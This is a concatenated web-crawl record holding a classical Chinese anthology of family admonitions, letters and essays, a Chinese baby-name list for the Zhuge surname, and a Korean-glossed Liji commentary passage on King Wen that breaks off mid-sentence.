盖 居 高 畏 其 危 . 处 满 惧 其 盈 . 富 贵 荣 势 . 本 非 祸 始 . 而 多 以 凶 终 者 . 持 之 失 德 . 守 之 背 道 . 道 德 丧 而 身 随 之 矣 . 是 以 留 侯 范 蠡 . 弃 贵 如 遗 . 叔 敖 萧 何 . 不 宅 美 地 . 此 皆 知 盛 衰 之 分 . 识 倚 伏 之 机 . 故 身 全 名 着 . 与 福 始 卒 . 自 此 以 来 . 重 臣 贵 戚 . 隆 盛 之 族 . 莫 不 离 患 构 祸 . 鲜 以 善 终 . 大 者 破 家 . 小 者 灭 身 . 唯 金 张 子 弟 . 世 履 忠 笃 . 故 保 贵 持 宠 . 祚 钟 昆 嗣 .\n蜀 诸 葛 亮 诫 子 曰 . 夫 君 子 之 行 . 静 以 修 身 . 俭 以 养 德 . 非 澹 泊 无 以 明 志 . 非 宁 静 无 以 致 远 . 夫 学 须 静 也 . 才 须 学 也 . 非 学 无 以 广 才 . 非 志 无 以 成 学 . 慆 慢 则 不 能 励 精 . 险 躁 则 不 能 治 性 . 年 与 时 驰 . 意 与 岁 去 . 遂 成 枯 落 . 悲 叹 穷 虑 . 将 复 何 及 .\n晋 李 充 起 居 诫 曰 . 温 良 恭 俭 . 仲 尼 所 以 为 贵 . 小 心 翼 翼 . 文 王 所 以 称 美 . 圣 德 周 达 无 名 . 斯 亦 圣 中 之 目 也 . 中 人 而 有 斯 行 . 则 亦 圣 人 之 一 隅 矣 . 而 末 俗 谓 守 慎 为 拘 愆 . 退 慎 为 怯 弱 . 不 逊 以 为 勇 . 无 礼 以 为 达 . 异 乎 吾 所 闻 也 .\n【 诰 】 宋 颜 延 之 庭 诰 曰 . 若 能 服 温 厚 而 知 穿 弊 之 苦 . 周 明 之 德 也 . 厌 滋 旨 而 识 空 嗛 之 急 . 仁 恕 之 功 也 . 岂 与 夫 比 发 肤 于 草 石 . 方 手 足 于 飞 走 者 . 同 其 意 哉 . 罚 慎 其 滥 . 惠 诫 其 偏 . 罚 滥 则 无 以 为 罚 . 惠 偏 则 不 如 无 惠 . 嫌 或 疑 心 . 诚 亦 难 分 . 动 容 窃 斧 . 束 装 盗 金 . 又 何 足 论 也 . 是 以 前 王 作 典 . 明 慎 议 狱 . 而 僣 滥 易 意 . 火 含 烟 而 烟 妨 火 . 桂 怀 蠹 而 蠹 残 桂 . 然 火 胜 则 烟 灭 . 蠹 壮 则 桂 折 . 故 性 明 者 欲 简 . 嗜 繁 者 气 昏 . 与 善 人 居 . 如 入 芝 兰 之 室 . 久 而 不 知 其 芳 . 与 之 化 矣 . 与 不 善 人 居 . 如 入 鲍 鱼 之 肆 . 久 而 不 知 其 臭 . 与 之 变 矣 . 唯 夫 金 贞 玉 粹 者 . 乃 能 处 而 不 污 其 身 耳 . 故 曰 . 丹 可 灭 而 不 能 使 无 赤 . 石 可 毁 而 不 能 使 无 坚 . 苟 丹 石 之 性 . 必 慎 浸 染 之 由 .\n【 铭 】 后 汉 崔 瑗 座 右 铭 曰 . 无 道 人 之 短 . 无 说 己 之 长 . 施 人 慎 勿 念 . 受 施 慎 勿 忘 . 俗 誉 不 足 慕 . 唯 仁 为 纪 纲 . 隐 身 而 后 动 . 谤 议 庸 何 伤 . 无 使 名 过 实 . 守 愚 圣 所 臧 . 柔 弱 生 之 徒 . 老 氏 诫 刚 强 . 在 涅 贵 不 缁 . 暧 暧 内 含 光 . 硁 硁 鄙 夫 介 . 悠 悠 故 难 量 . 慎 言 节 饮 食 . 知 足 胜 不 祥 . 行 之 苟 有 恒 . 久 久 自 芬 芳 .\n魏 卞 兰 座 右 铭 曰 . 重 阶 连 栋 . 必 浊 汝 真 . 金 宝 满 室 . 将 乱 汝 神 . 厚 味 来 殃 . 艳 色 危 身 . 求 高 反 坠 . 务 厚 更 贫 . ● 情 塞 欲 . 老 氏 所 珍 . 周 庙 之 铭 . 仲 尼 是 遵 . 审 慎 汝 口 . 戒 无 失 人 . 从 容 顺 时 . 和 光 同 尘 . 无 谓 冥 漠 . 人 不 汝 闻 . 无 谓 幽 冥 . 处 独 若 群 . 不 为 福 先 . 不 与 祸 邻 . 守 玄 执 素 . 无 乱 大 伦 . 常 若 临 深 . 终 始 惟 纯 .\n【 书 】 汉 刘 向 诫 子 书 曰 . 汝 有 厚 德 . 蒙 恩 甚 厚 . 将 何 以 报 . 董 生 有 云 . 吊 者 在 门 . 贺 者 在 闾 . 言 有 忧 则 恐 惧 敬 事 . 敬 事 则 必 有 善 功 而 福 至 也 . 又 曰 . 贺 者 在 门 . 吊 者 在 闾 . 言 受 福 则 骄 奢 . 骄 奢 则 祸 至 . 故 吊 随 而 来 . 齐 顷 公 之 始 . 藉 霸 者 之 余 威 . 轻 侮 诸 侯 . 亏 跂 蹇 之 容 . 故 被 之 祸 . 遁 服 而 亡 . 所 谓 贺 者 在 门 . 吊 者 在 闾 也 . 兵 败 师 破 . 人 皆 吊 之 . 恐 惧 自 新 . 百 姓 爱 之 . 诸 侯 皆 归 其 所 夺 邑 . 所 谓 吊 者 在 门 . 贺 者 在 闾 .\n后 汉 张 奂 诫 兄 子 书 曰 . 汝 曹 薄 佑 . 早 失 贤 父 . 财 单 艺 尽 . 今 适 喘 息 . 闻 仲 祉 轻 傲 耆 老 . 侮 狎 同 年 . 极 口 恣 意 . 当 崇 长 幼 . 以 礼 自 持 . 闲 炖 煌 有 人 来 . 同 声 相 道 . 皆 称 叔 时 宽 仁 . 闻 之 喜 而 且 悲 . 喜 叔 时 得 美 称 . 悲 汝 得 恶 论 . 经 言 孔 于 乡 党 . 恂 恂 如 也 . 恂 恂 者 . 恭 谦 之 貌 也 . 经 难 知 . 且 自 以 汝 资 父 为 师 . 汝 父 宁 轻 乡 里 耶 . 年 少 多 失 . 改 之 为 贵 . 蘧 伯 玉 年 五 十 . 见 四 十 九 年 非 . 但 能 改 之 . 不 可 不 思 吾 言 . 不 自 克 责 . 反 云 张 甲 谤 我 . 李 乙 悉 我 . 我 无 是 过 . 尔 亦 已 矣 .\n后 汉 司 马 徽 诫 子 书 曰 . 闻 汝 充 役 . 室 如 悬 磬 . 何 以 自 辨 . 论 德 则 吾 薄 . 说 居 则 吾 贫 . 勿 以 薄 而 志 不 壮 . 贫 而 行 不 高 也 .\n后 汉 马 援 诫 兄 子 书 曰 . 吾 欲 汝 曹 闻 人 过 失 . 如 闻 父 母 之 名 . 耳 可 得 闻 . 而 口 不 可 得 言 也 . 好 论 议 人 长 短 . 妄 是 非 正 法 . 此 吾 所 大 恶 也 . 宁 死 不 愿 闻 子 孙 有 此 行 也 . 汝 曹 知 吾 恶 之 甚 矣 . 所 以 复 言 者 . 施 衿 结 褵 . 申 父 母 之 诫 . 欲 使 汝 曹 不 忘 之 耳 . 龙 伯 高 敦 厚 周 慎 . 口 无 择 言 . 谦 约 节 俭 . 公 正 有 威 . 吾 爱 之 重 之 . 愿 汝 曹 效 之 . 杜 季 良 豪 侠 好 义 . 忧 人 之 忧 . 乐 人 之 乐 . 清 浊 无 所 失 . 父 丧 致 客 . 数 郡 毕 至 . 吾 爱 之 重 之 . 不 愿 汝 曹 效 之 也 . 效 伯 高 不 得 . 犹 为 谨 之 士 . 所 谓 刻 鹄 不 成 . 尚 类 鹜 者 也 . 效 季 良 不 得 . 陷 为 天 下 轻 薄 子 . 所 谓 画 虎 不 成 . 反 类 狗 也 .\n后 汉 崔 骃 与 窦 宪 书 曰 . 骃 闻 交 浅 而 言 深 者 . 愚 也 . 在 贱 而 望 贵 者 . 惑 也 . 未 信 而 纳 忠 者 . 谤 也 . 皆 所 不 宜 . 而 或 蹈 之 者 . 思 效 其 区 区 愤 盈 而 不 能 已 也 . 窃 见 足 下 . 体 淳 淑 之 姿 . 躬 高 明 之 量 . 意 美 志 厉 . 有 尚 贤 之 风 . 骃 幸 得 充 下 馆 . 序 后 陈 . 是 以 竭 其 拳 拳 . 敢 进 一 言 . 传 曰 . 生 而 富 者 骄 . 生 而 贵 者 傲 . 生 富 贵 而 能 不 骄 傲 者 . 未 之 有 也 .\n魏 王 脩 诫 子 书 曰 . 自 汝 行 之 后 . 恨 恨 不 乐 . 何 者 . 我 实 老 矣 . 所 恃 汝 等 也 . 皆 不 在 目 前 . 意 遑 遑 也 . 人 之 居 世 . 忽 去 便 过 . 日 月 可 爱 也 . 故 禹 不 爱 尺 璧 . 而 爱 寸 阴 . 时 过 不 可 还 . 若 年 大 . 不 可 少 也 . 欲 汝 早 之 . 未 必 读 书 . 并 学 作 人 . 欲 令 见 举 动 之 宜 . 观 高 人 远 节 . 志 在 善 人 . 左 右 不 可 不 慎 . 善 否 之 要 . 在 此 际 也 . 行 止 与 人 . 务 在 饶 之 . 言 思 乃 出 . 行 详 乃 动 . 皆 用 情 实 . 道 理 违 . 斯 败 矣 . 父 欲 令 子 善 . 唯 不 能 煞 身 . 其 余 无 惜 也 .\n晋 羊 祜 诫 子 书 曰 . 吾 少 受 先 君 之 教 . 能 言 之 年 . 便 召 以 典 文 . 年 九 岁 . 便 诲 以 诗 书 . 然 尚 犹 无 乡 人 之 称 . 无 清 异 之 名 . 今 之 职 位 . 谬 恩 之 加 耳 . 非 吾 力 所 能 致 也 . 吾 不 如 先 君 远 矣 . 汝 等 复 不 如 吾 . 谘 度 弘 伟 . 恐 汝 兄 弟 未 之 能 也 . 奇 异 独 达 . 察 汝 等 将 无 分 也 . 恭 为 德 首 . 慎 为 行 基 . 愿 汝 等 言 则 忠 信 . 行 则 笃 敬 . 无 口 许 人 以 财 . 无 传 不 经 之 谈 . 无 听 毁 誉 之 语 . 闻 人 之 过 . 耳 可 得 受 . 口 不 得 宣 . 思 而 后 动 . 若 言 行 无 信 . 身 受 大 谤 . 自 入 刑 论 . 岂 复 惜 汝 . 耻 及 祖 考 . 思 乃 父 言 . 纂 乃 父 教 . 各 讽 诵 之 .\n晋 殷 裒 书 曰 . 大 道 也 者 . 易 寻 而 难 穷 . 易 知 而 难 行 也 . 故 京 房 之 徒 . 考 步 吉 凶 之 变 . 而 不 能 自 见 其 祸 . 更 为 姚 平 所 诫 . 此 道 之 难 知 也 . 省 尔 之 才 . 不 及 于 房 . 而 吾 之 言 过 于 平 矣 . 昔 弗 父 何 三 命 滋 恭 . 晏 平 仲 久 而 敬 之 . 曾 颜 之 徒 . 有 若 无 . 实 若 虚 也 . 况 尔 析 薪 之 智 . 欲 弹 射 世 俗 . 身 为 谤 先 . 怨 祸 并 集 . 使 吾 怀 朝 父 之 忧 . 为 范 武 子 所 叹 . 亦 非 汝 之 美 也 . 若 朝 益 暮 习 . 先 人 后 己 . 恂 恂 如 也 . 则 吾 闻 音 而 识 其 曲 . 食 旨 而 知 其 甘 . 永 终 吾 余 年 矣 . 复 何 恨 哉 . 古 人 有 言 . 思 不 出 其 位 . 尔 其 念 之 . 尔 其 念 之 .\n宋 陶 潜 诫 子 书 曰 . 少 来 好 书 . 偶 爱 闲 静 . 开 卷 有 得 . 便 欣 然 忘 食 . 见 树 木 交 荫 . 时 鸟 变 声 . 亦 复 欢 尔 有 喜 . 尝 言 五 六 月 中 . 北 窗 下 卧 . 遇 凉 风 暂 至 . 自 谓 是 牺 皇 上 人 . 汝 等 虽 不 同 生 . 当 思 四 海 皆 兄 弟 之 义 . 鲍 叔 敬 仲 . 分 财 无 情 . 归 生 伍 举 . 班 荆 道 旧 . 遂 能 以 败 为 成 . 因 丧 立 功 . 他 人 尚 尔 . 况 共 父 之 人 哉 .\n梁 简 文 帝 诫 当 阳 公 书 曰 . 汝 年 时 尚 幼 . 所 阙 者 学 . 可 久 可 大 . 其 唯 学 欤 . 所 以 孔 丘 言 . 吾 尝 终 日 不 食 . 终 夜 不 寝 . 以 思 无 益 . 不 如 学 也 . 若 使 墙 面 而 立 . 沐 猴 而 冠 . 吾 所 不 取 . 立 身 之 道 . 与 文 章 异 . 立 身 先 须 谨 重 . 文 章 且 须 放 荡 .\n梁 孝 元 帝 与 学 生 书 曰 . 吾 闻 斫 玉 为 器 . 谕 乎 知 道 . 惟 山 出 泉 . 譬 乎 从 学 . 是 以 执 射 执 御 . 虽 圣 犹 然 . 为 弓 为 箕 . 不 无 以 矣 . 抑 又 闻 曰 . 汉 人 流 麦 . 晋 人 聚 萤 . 安 有 挟 册 读 书 . 不 觉 风 雨 以 至 . 朗 月 章 奏 . 不 知 爝 火 为 微 . 所 以 然 者 . 良 有 以 夫 . 可 久 可 大 . 莫 过 乎 学 . 求 之 于 己 . 道 在 则 尊 .\n梁 徐 勉 与 大 息 山 松 书 曰 . 家 世 清 廉 . 故 常 居 贫 素 . 至 于 产 业 之 事 . 所 未 尝 言 . 中 年 聊 于 东 田 . 欲 穿 池 种 树 . 少 寄 情 赏 . 又 以 郊 际 闲 旷 . 终 可 为 宅 . 傥 获 悬 车 致 仕 . 实 欲 歌 笑 于 斯 . 经 营 历 年 . 粗 已 成 立 . 桃 李 茂 密 . 桐 竹 成 阴 . 塍 陌 交 通 . 渠 畎 相 属 . 茅 楼 迥 榭 . 颇 有 临 眺 之 美 . 孤 岑 藂 薄 . 不 无 纠 纷 之 兴 . 虽 云 人 外 . 城 ● 密 迩 . 凡 为 人 长 . 殊 复 不 易 . 当 使 中 外 谐 缉 . 人 无 闲 言 . 先 物 后 己 . 然 后 可 贵 . 老 生 云 . 后 其 身 而 身 先 . 若 能 尔 者 . 更 招 巨 利 . 汝 当 勉 勖 . 见 贤 思 齐 . 不 宜 忽 略 以 弃 日 也 . 非 徒 弃 日 . 乃 是 弃 身 . 身 名 美 恶 . 岂 不 大 哉 .\n梁 范 缜 与 王 仆 射 书 曰 . 君 侯 匡 辅 圣 朝 . 中 夏 无 虞 . 既 尽 美 矣 . 又 尽 善 矣 . 唐 尧 非 不 隆 也 . 门 有 谤 木 . 虞 舜 非 不 盛 也 . 庭 悬 谏 鼓 . 周 公 之 才 也 . 乐 闻 讥 谏 . 故 明 君 贤 宰 . 不 惮 谔 谔 之 言 . 布 衣 穷 贱 之 人 . 咸 得 献 其 狂 ● . 先 王 所 以 有 而 勿 亡 . 得 而 勿 失 . 功 传 不 朽 . 名 至 今 者 . 用 此 道 也 .\n【 论 】 魏 王 粲 安 身 论 曰 . 盖 崇 德 莫 盛 乎 安 身 . 安 身 莫 大 乎 存 政 . 存 政 莫 重 乎 无 私 . 无 私 莫 深 乎 寡 欲 . 是 以 君 子 安 其 身 而 后 动 . 易 其 心 而 后 语 . 定 其 交 而 后 行 . 然 则 动 者 . 吉 凶 之 端 也 . 语 者 . 荣 辱 之 主 也 . 求 者 . 利 病 之 几 也 . 行 者 . 安 危 之 决 也 . 故 君 子 不 妄 动 也 . 必 适 于 道 . 不 徒 语 也 . 必 经 于 理 . 不 苟 求 也 . 必 造 于 义 . 不 虚 行 也 . 必 由 于 正 . 夫 然 用 能 免 或 击 之 凶 . 厚 自 天 之 佑 . 故 身 不 安 则 殆 . 言 不 顺 则 悖 . 交 不 审 则 惑 . 行 不 笃 则 危 . 四 者 存 乎 中 . 则 患 忧 接 乎 外 矣 . 忧 患 之 接 . 必 生 于 自 私 . 而 兴 于 有 欲 . 自 私 者 . 不 能 成 其 私 . 有 欲 者 . 不 能 济 其 欲 . 理 之 至 也 .\n晋 袁 宏 去 伐 论 曰 . 夫 君 者 . 必 量 才 任 以 授 官 . 参 善 恶\n以 毁 誉 . 课 功 过 以 赏 罚 者 也 . 苟 伐 其 善 . 必 忘 其 恶 . 于\n是 怨 责 之 情 . 必 存 乎 心 . 希 望 之 气 . 必 形 乎 色 . 此 矜 伐\n之 士 . 自 贤 之 人 . 所 以 为 薄 . 而 先 王 甚 恶 之 者 也 . 君 子\n则 不 然 . 劳 而 不 伐 . 施 而 不 德 . 致 恭 以 存 其 位 . 下 人 不\n隐 其 功 . 处 不 避 污 . 官 不 辞 卑 . 唯 惧 不 任 . 唯 患 弗 能 .\n故 力 有 余 而 智 不 屈 . 远 咎 悔 而 行 成 名 立 也 .","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.chinapage.com\/gb\/literature\/ywgl004.htm","date":"2014-10-23T10:07:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1413510834349.43\/warc\/CC-MAIN-20141017015354-00255-ip-10-16-133-185.ec2.internal.warc.gz","language":"lzh","language_score":0.9640884995,"language_script":"Hani","minhash_cluster_size":31,"top_langs":"{\"lzh_Hani_score\": 0.964088499546051, \"nan_Hani_score\": 0.029697295278310776}","num_words":60949,"character_repetition_ratio":0.014,"word_repetition_ratio":0.002,"special_characters_ratio":0.589,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"姓諸葛的好聽的女孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓諸葛的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓諸葛的好聽的女孩名字!\n姓諸葛的好聽的女孩名字\n諸葛詩穎 諸葛兆玲 諸葛炳玲 諸葛學婧 諸葛嬋月 諸葛慧娜 諸葛倩文 諸葛雲燕 諸葛艷芬 諸葛建英 諸葛怡樂 諸葛燕窩 諸葛巧蓉 諸葛璐瑤 諸葛佳英 諸葛良文 諸葛俊花 諸葛運霞 諸葛莉立 諸葛汝芳 諸葛曜潔 諸葛景美 諸葛傢蓉 諸葛秀麗 諸葛良蓉 諸葛彤琴 諸葛曉茹 諸葛洪梅 諸葛敬文 諸葛婷美 諸葛安艷 諸葛悅淇 諸葛瑛 諸葛學梅 諸葛藝文 諸葛燕霞 諸葛香怡 諸葛淑紅 諸葛華麗 諸葛酈芳 諸葛瑤函 諸葛嫣彥 諸葛艷芬 諸葛琰瑩 諸葛純瑤 諸葛月妹 諸葛婭璇 諸葛佳玉 諸葛海艷 諸葛冬梅 諸葛藝文 諸葛豐雪 諸葛琳娜 諸葛可妍 諸葛湘燕 諸葛秀茗 諸葛莉欣 諸葛茹月 諸葛琳芳 諸葛名妍 諸葛莉力 諸葛玲玉 諸葛婷婷 諸葛惜悅 諸葛義文 諸葛愛麗 諸葛曼玉 諸葛玲音 諸葛蓉蓉 諸葛棋媛 諸葛姝琳 諸葛昌紅 諸葛盈悅 諸葛詩艷 諸葛芬菲 諸葛倩渝 諸葛佩瑤 諸葛怡秀 諸葛聰穎 諸葛萍騰 諸葛瑞芬 諸葛愛玲 諸葛麗萍 諸葛筱艷 諸葛夢蓉 諸葛悅綺 諸葛健文 諸葛也玲 諸葛婧萬 諸葛江媛 諸葛嬌麗 諸葛筱倩 諸葛嫣翎 諸葛洪燕 諸葛靖文 諸葛本玲 諸葛亞娟 諸葛真霞 諸葛若梅 諸葛瑤 諸葛健萍 諸葛萍飛 諸葛劍英 諸葛琪玉 諸葛婧倩 諸葛水文 諸葛育紅 諸葛舞霞 諸葛怡東 諸葛瑩瑩 諸葛水瑤 諸葛燕凌 諸葛梅 諸葛續文 諸葛毅瓊 諸葛倩雯 諸葛欣玉 諸葛琳婧 諸葛爾秀 諸葛婧藝 諸葛琳屹 諸葛婉玉 諸葛秀娥 諸葛蔭文 諸葛丹霞 諸葛寅玲 諸葛蓓艷 諸葛煒莉 》》還是沒有找到滿意的名字?不妨問問大師。\n諸葛一文 諸葛娟女 諸葛瑩瑩 諸葛志芳 諸葛明瑤 諸葛月琴 諸葛亞紅 諸葛淑潔 諸葛貝妍 諸葛勝梅 諸葛十紅 諸葛隨英 諸葛燕萍 諸葛艷 諸葛璦潔 諸葛麗莉 諸葛琳萱 諸葛淑玲 諸葛妤芳 諸葛婭楠 諸葛青英 諸葛羽秀 諸葛先文 諸葛婧蒲 諸葛少文 諸葛書艷 諸葛薺文 諸葛夠莉 諸葛悅爾 諸葛金文 諸葛慕瑤 諸葛惠英 諸葛螓媛 諸葛金美 諸葛韶蓉 諸葛劍芳 諸葛倩亞 諸葛洪文 諸葛依美 諸葛甲茹 諸葛滿霞 諸葛桂琴 諸葛宗霞 諸葛兆紅 諸葛王雪 諸葛紫玉 諸葛蕭妍 諸葛永花 諸葛婷馨 諸葛嵐婷 諸葛宏英 諸葛鑫雪 諸葛妍欣 諸葛蓉 諸葛梅芳 諸葛媛斐 諸葛文娟 諸葛嘉玲 諸葛敏娟 諸葛全紅 諸葛嫻莉 諸葛秀予 諸葛樂婷 諸葛思妍 諸葛永芬 諸葛春芳 諸葛嬋娟 諸葛玉莉 諸葛越玲 諸葛偉霞 諸葛雅怡 諸葛婧彥 諸葛翎雪 諸葛譽婷 諸葛利英 諸葛柔文 諸葛鈺茹 諸葛怡渲 諸葛沁英 諸葛悅泉 諸葛拱花 諸葛月芬 諸葛怡君 諸葛純玲 諸葛怡彤 諸葛詩瑤 諸葛月萍 諸葛悅涵 諸葛雪婷 諸葛金穎 諸葛宗娜 諸葛國紅 諸葛煜瑩 諸葛松燕 諸葛怡君 諸葛泳芳 諸葛娟汝 諸葛智穎 諸葛沁燕 諸葛利英 諸葛洪蓉 諸葛熙文 諸葛娟蕓 諸葛文倩 諸葛燕鑫 諸葛芊玉 諸葛芊玉 諸葛前梅 諸葛悅苑 諸葛堯婧 諸葛佳英 諸葛芳萍 諸葛奇冉 諸葛婷芳 諸葛彬秀 諸葛酈瑩 諸葛妞妞 諸葛瑞穎 諸葛心怡 諸葛志玲 諸葛璐瑩 諸葛怡嫣 諸葛沛琳 諸葛美琴 諸葛媛佳 諸葛顏瓊 諸葛琳雪 諸葛小琴 諸葛雋婷 諸葛珊倩 諸葛素琳 諸葛鴻文 諸葛露媛 諸葛菁倩 諸葛梓瑛 諸葛巧玲 諸葛鈺娟 諸葛秀麗 諸葛翊茹 諸葛建蓉 諸葛鑫怡 諸葛冬妹 諸葛月萍 諸葛晨悅\n諸葛玉雪 諸葛雪梅 諸葛嬋友 諸葛夢冉 諸葛曉莉 諸葛漫麗 諸葛冰瑤 諸葛慧玲 諸葛姝怡 諸葛曉怡 諸葛中梅 諸葛軍玲 諸葛婷 諸葛雅婷 諸葛光美 諸葛若婷 諸葛雲燕 諸葛中紅 諸葛倩子 諸葛文 諸葛巧玲 諸葛冉悅 諸葛誠芳 諸葛平花 諸葛晨秀 諸葛婧宇 諸葛婷雯 諸葛嘉怡 諸葛麗芳 諸葛雪 諸葛玉紅 諸葛佳媛 諸葛雙玲 諸葛豫萍 諸葛世萍 諸葛換玲 諸葛咨怡 諸葛秀芬 諸葛燕 諸葛欣怡 諸葛孟玲 諸葛艷紅 諸葛珂瑩 諸葛彩萍 諸葛昊英 諸葛莉幸 諸葛嘉瑤 諸葛博穎 諸葛靖文 諸葛曇嫣 諸葛燕淋 諸葛文美 諸葛玉 諸葛琳慧 諸葛桃英 諸葛雪萍 諸葛倩裡 諸葛日冉 諸葛未怡 諸葛妍妍 諸葛裕文 諸葛雨媛 諸葛鑫瑩 諸葛葳婷 諸葛花 諸葛伶燕 諸葛明艷 諸葛白雪 諸葛月英 諸葛連梅 諸葛怡蓓 諸葛黛玲 諸葛瑞婷 諸葛乃倩 諸葛玉霞 諸葛潔瑩 諸葛容琳 諸葛鈺怡 諸葛若文 諸葛林霞 諸葛雅琴 諸葛宸旭 諸葛虹宇 諸葛冰冰 諸葛宜倩 諸葛怡豪 諸葛姿蓉 諸葛斯瑤 諸葛希娟 諸葛琴 諸葛昊玉 諸葛琳俐 諸葛振娟 諸葛千婷 諸葛崇文 諸葛瑾悅 諸葛玉琳 諸葛小娟 諸葛靖洋 諸葛翠哲 諸葛軍召 諸葛小艷 諸葛之怡 諸葛媛 諸葛雪紅 諸葛子瑤 諸葛海娜 諸葛軍玲 諸葛金玉 諸葛靖蓉 諸葛瑞琴 諸葛思瑩 諸葛春梅 諸葛彩英 諸葛涵妍 諸葛希瑤 諸葛俊琳 諸葛熙秀 諸葛蕓穎 諸葛鼎玉 諸葛士芳 諸葛佳怡 諸葛淑蓉 諸葛潤玉 諸葛新紅 諸葛瑤 諸葛嫻娜 》》還是沒有找到滿意的名字?不妨問問大師。\n諸葛(Zhū gě 諸葛)姓源出有三:\n1、出自葛姓所改。相傳,伯夷的後裔葛伯的封國滅亡後,原居於瑯琊郡諸縣之葛氏有一支遷徙至陽都,因陽都已有葛姓,遂稱後遷來的葛姓為諸葛氏。\n2、出自有熊氏之後,為詹葛姓所改。春秋時齊國有熊氏之後有復姓詹葛,因讀音訛為諸葛氏,後改為諸葛氏。\n3、出自封賜所改。秦末陳勝吳廣起義時,有大將葛嬰屢立戰功,卻被陳勝聽信讒言殺害。西漢文帝封葛嬰的孫子為諸縣侯,其後代遂以諸葛為姓,稱諸葛氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/www.share4tw.com\/archives\/285562","date":"2018-01-18T09:42:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887224.19\/warc\/CC-MAIN-20180118091548-20180118111548-00452.warc.gz","language":"lzh","language_score":0.9982895851,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9982895851135254}","num_words":409,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1-1. 文王之爲世子에 朝於王季호대 日三하야시니 雞初鳴而衣[去聲]服하사 至於寢門外하사 問內豎[樹]之御者曰하야시니 \"今日에 安否는 何如오?\"여시며, 內豎이 曰호대 \"安하시다.\"하야며, 文王이 乃喜하시며, 及日中하야 又至하사, 亦如之하시며.及莫[暮]하야 又至하사 亦如之하더시다.[243-1]\n內豎는 內庭之小臣이요, 御는 是直日者라. 世子이 朝父母에 惟朝夕二禮어커늘 今文王은 日三하시니 聖人過人之行也라.\n[嚴陵方氏曰內則言子事父母鷄初鳴咸盥漱昧爽而朝日入而夕世子之記亦止言朝夕至於大寢門之外而此言鷄初鳴而衣服至於寢門外則盥漱之時猶未鷄鳴朝之時猶未昧爽矣又有日中之朝此蓋聖人之制]\n1-2. 其有不安節여시며 則內竪이 以告文王하여시며 文王이 色憂하사 行不能正履하시다가 王季復膳하여시며 然後에사 亦復初하시며 食上[上聲], 必在視寒煖之節하시며 食下에시든 問所膳하시고 命膳宰曰하사대\"末有原하라.\" 應曰\"諾이라\"한 然後에야 退하더시다.[243-2]\n不安節은 謂有疾不能循其起居飮食之常時也요. 食上은 進膳於親也요. 在는 察也요. 食下는 食畢而徹也요. 問所膳은 問所食之多寡也라. 末는 猶勿也요. 原은 再也이니, 謂所食之餘를 不可再進也라.\n[長樂劉氏曰文王之於王季夜不遑寐故其旦旦鷄鳴而衣冠其具內竪曰安文王乃喜以其達旦懷憂則其喜形于色也色憂行不能正履心有所懼則色形其憂急侍其親則履不能正]\n[嚴凌方氏曰文王乃喜則親喜而已亦喜也文王色憂則親憂而已亦憂也復初則親復常故也]\n1-3. 武王帥而行之하시고 不敢有加焉하더시니. 文王이 有疾이러시든 武王不說[脫]冠帶而養[去聲]하사대 文王이 一飯[上聲]이어시든, 亦一飯하시며, 文王이 再飯,亦再飯하더시니 旬有二日이어시늘 乃間하시니라.[243]\n不敢有加는 不可踰越父之所行也라. ○ 疏曰 病重之時에 病恒在身하야 無少間空隙이어니 病今旣損하야 不恒在身하니 其間에 有空隙라. 故,謂.病瘳爲間也라.\n[長樂陳氏曰聖人之行朝親至於日三其有不安節則行不能正履以至於一飯亦一飯再飯亦再飯中人之行朝親止於日二其有不安節則止於不滿容於其嘗饌善則能食嘗饌寡則不能飽而已於文王言色憂行不能正履則武王可知於武王言不說冠帶一飯再飯則文王可知]\n[莊氏曰天下之理惟極其至則不可以腹加文王之事親豈一毫之不至哉武王而復求加焉則非可傳也非可繼也故武王之事文王盡循文王之所以事王季者而行之不敢復加焉玆武王所以爲達孝者歟又曰子之於親曰而三朝自三朝之外冠帶有時而說今爲親疾跬步不離不敢說冠帶以自適人之飮食或疏或數時其飢飽今以親疾志不在於飮食一飯再飯惟親之視不敢如平時私適其欲][跬:반걸음규]\n1-4. 文王이 謂武王曰하사대 女[汝]何夢矣요? 武王이 對曰하사대 夢에 帝與我九齡하더시이다. 文王이 曰하사대 女이 以爲何也오? 武王이 曰하사대 西方에 有九國焉하니 君王이 其終,撫諸이신저. 文王이 曰하사대 非也라 古者에 謂年齡이라 하더니 齒亦齡也이니 我이 百이요, 爾九十이니 吾與爾三焉호리라 하니 文王은 九十七에 乃終하시고, 武王은 九十三而終하시다.[243]\n文王.疾瘳之後에 武王이 乃得安寢이라. 故.問其何夢하대 武王이 對云 夢에 天帝이 言,與我九齡이라시니, 齡字는 從齒하니 齒之異名也라. 故.言年齡하고, 又言年齒하니, 其義一也라. 大戴禮에 云, 男,八月生齒하고, 八歲而齔(齓)이라하니 齒是人壽之數也라. 然.數之脩短이 禀氣於有生之初하니 文王이 雖愛其子이나 豈能減己之年,而益之哉리요. 好事者이 爲之辭,而不究其理어늘 讀記者이 信其說而莫之敢議也라. [瘳:(병)낫다]\n[嚴陵方氏曰文王之疾間必知武王有夢者以其愛親之心篤而思念之情深故也]\n[長樂劉氏曰聖人生而知之自誠而明者罔非窮理盡性以至於命焉是以寤寐所萌與天地合與鬼神契則其脩短得以自知[寤:잠깰오,깨닫다][寐:잠잘매]\n1-5. 成王이 幼하사 不能涖阼어시늘 周公이 相[去聲]하사 踐阼而治하더시니, 抗世子法於伯禽은 欲令成王之知父子․君臣․長幼之道也시니 成王이 有過어시든 則撻伯禽하사 所以示成王世子之道也니 文王之爲世子也러이라.[248]\n石梁王氏이 曰'文王之爲世子也'一句는 衍文이라. ○ 劉氏이 曰 成王이 幼弱하야 雖已涖阼.爲天子이나, 